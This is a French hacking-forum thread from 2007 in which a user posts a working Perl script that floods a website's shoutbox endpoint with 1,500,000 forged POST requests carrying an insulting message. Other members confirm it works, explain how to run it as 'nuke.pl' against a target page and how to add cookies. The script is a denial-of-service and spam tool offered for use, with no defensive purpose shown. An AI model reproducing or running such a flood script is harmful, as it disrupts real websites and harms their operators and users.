Page 1 of 1

Perl

PostPosted: Thu Jul 19, 2007 5:32 pm
by iMhack
Voilà un petit code en Perl... A vous de trouver à quoi il sert (Vu sur ce site)

A éditer avec HTTP Live Headers:

print $sock "POST /index.php?nav=com HTTP/1.1\n";

$postit = "msg=Hello&user_code=&nav=com";



#!/usr/bin/perl

use IO::Socket;

$x = 0;

print q(
iMhack > Bienvenue sur hackbbs.org

);
print q(Host |SANS-> http://www.| );

$host = <STDIN>;
chop ($host);

while($x !=1500000)

{


$postit = "msg=Je+suis+un+lammer&nav=com";

$lrg = length $postit;

my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",

Proto => "tcp",
);
die "\nPlus D'Espace Dans Tes Sockets !! Verifire Tes Sockets... : $!\n" unless $sock;

print $sock "POST /bin/communication/shootbox2.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, imag/jpeg, image/pjpeg, application/x-shockwave-flash, applications/vnd.ms-exel, applicationmsword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

syswrite STDOUT, "-lammer_c_est_mal";
}


EDIT : http://bereski.free.fr/perl/fperl16.html à inclure

ugh

PostPosted: Fri Jul 20, 2007 10:34 am
by Korigan
Salut à toi et GG pour ton script :)
Testé et opérationel :)
Il faut juste changer la 1ere ligne et mettre à la place:

[code:1:8dc83ab240]#!/usr/bin/perl[/code:1:8dc83ab240]

ou alors le chemin vers votre propre perl

Ne pas oublier de faire un chmod u+x le nom du script

Puis il se lance en tapant:

[code:1:8dc83ab240]perl ./nuke.pl[/code:1:8dc83ab240]

Ensuite en argument on met le nom de la page à flooder :p

@pluuuus
Mik[/code]

PostPosted: Mon Aug 13, 2007 12:22 pm
by iMhack
Et pour gérer les cookies ??? Je met "Cookie : $cookie\n" ???

Ugh

PostPosted: Wed Aug 15, 2007 3:49 pm
by Korigan
Oui, il faut respecter le protocole http.
Tu ecrit sur la socket ce qui serait envoyé par ton navigateur ^^

PostPosted: Wed Oct 17, 2007 12:22 am
by stickmen
peux tu mettre un tuto du scipt merci

PostPosted: Mon Oct 22, 2007 6:44 pm
by Korigan
Qu'entends tu par tuto de script?
Sinon si tu veux apprendre à faire du perl ou du php tu pourrais aller voir sur le site du zero.
Si tu souhaites développer un script particulier, tu le soumet et on te le corrige pas de soucis :)

PostPosted: Sun Feb 10, 2008 7:39 pm
by jak
sur le site du zero je n' ai pas trouvé de tuto pour le perl!